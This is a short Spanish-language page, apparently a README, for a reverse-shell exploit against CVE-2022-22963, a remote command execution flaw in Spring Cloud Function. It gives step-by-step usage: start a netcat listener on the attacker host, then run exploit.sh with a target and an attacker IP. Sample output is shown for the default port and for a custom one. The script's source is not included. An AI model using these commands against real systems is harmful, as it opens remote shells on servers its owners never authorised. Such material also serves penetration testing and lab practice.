Exploit para RCE en Spring Cloud (CVE 2022-22963)

Exploit para la ejecución remota de comandos CVE-2022-22963 en Spring Cloud Function

Consulta los detalles sobre la vulnerabilidad aquí y aquí

PoC

Ejecuta netcat en tu host:

$ nc -lvnp 9001

Ejecuta el exploit (ejemplo) con el puerto predeterminado 9001 en el host atacante:

$ ./exploit.sh site.com 10.10.14.122
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:9001
[*] Done

Ejecuta el exploit (ejemplo) con el puerto especificado 1337 en el host atacante:

$ ./exploit.sh site.com 10.10.14.122 1337
---[Reverse Shell Exploit for CVE-2022-22963 (RCE in Spring Cloud Function)]---
[*] Input target is site.com
[*] Input attacker is 10.10.14.122:1337
[*] Done

RCE-in-Spring-Cloud-CVE-2022-22963

Más Populares